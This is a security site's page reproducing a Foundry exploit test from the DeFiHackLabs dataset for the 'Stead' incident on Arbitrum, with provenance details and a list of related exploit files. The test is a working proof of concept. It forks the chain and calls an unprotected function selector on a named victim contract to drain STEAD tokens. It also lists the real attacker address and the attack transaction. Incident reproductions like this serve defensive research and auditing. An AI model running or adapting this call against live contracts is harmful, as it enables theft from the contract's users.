Public reproduction file

src/test/2025-06/Stead_exp.sol

Public reproduction file for dataset entry Stead.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/Stead_exp.sol38 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 14.5k USD
7// Attacker : https://arbiscan.io/address/0x5fb0b8584b34e56e386941a65dbe455ad43c5a23
8// Attack Contract : N/A
9// Vulnerable Contract : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596
10// Attack Tx : https://arbiscan.io/tx/0x32dbfce2253002498cd41a2d79e249250f92673bc3de652f3919591ee26e8001
11 
12// @Info
13// Vulnerable Contract Code : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596#code
14 
15// @Analysis
16// Post-mortem : N/A
17// Twitter Guy : https://x.com/TenArmorAlert/status/1939508301596672036
18// Hacking God : N/A
19pragma solidity ^0.8.0;
20 
21address constant STEAD = 0x42F4e5Fcd12D59e879dbcB908c76032a4fb0303b;
22address constant VICTIM = 0xf9FF933f51bA180a474634440a406c95DfB27596;
23 
24contract Contractf9ff is BaseTestWithBalanceLog {
25    uint256 blocknumToForkFrom = 352509408 - 1;
26 
27    function setUp() public {
28        vm.createSelectFork("arbitrum", blocknumToForkFrom);
29        fundingToken = STEAD;
30    }
31 
32    function testExploit() public balanceLog {
33        // The contract 0xf9ff lacks proper access control, allowing any to drain STEAD tokens from the contract.
34        bytes4 selector = 0x16fb27ce;
35        (bool success, ) = VICTIM.call(abi.encodePacked(selector, abi.encode(1, 1, 1)));
36        require(success, "Call failed");
37    }
38}

Analysis

Dataset entry

Public Foundry test for “Stead” (2025-06-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/basetest.solImported by this file · 142 lines
src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
src/test/2025-06/WaleCoin_exp.solSame month in the dataset · 121 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x5fb0b8584b34e56e386941a65dbe455ad43c5a23
Vulnerable Contract
0xf9ff933f51ba180a474634440a406c95dfb27596

Attack Tx
0x32dbfce2253002498cd41a2d79e249250f92673bc3de652f3919591ee26e8001

File record

Name: Stead
Path: src/test/2025-06/Stead_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 2f19f4d07ec02b1f29efa0986e38896e181ef51b
Language: Solidity
Size: 39 lines
Date: 2025-06-29
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2025-06/Stead_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2f19f4d07ec02b1f29efa0986e38896e181ef51b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.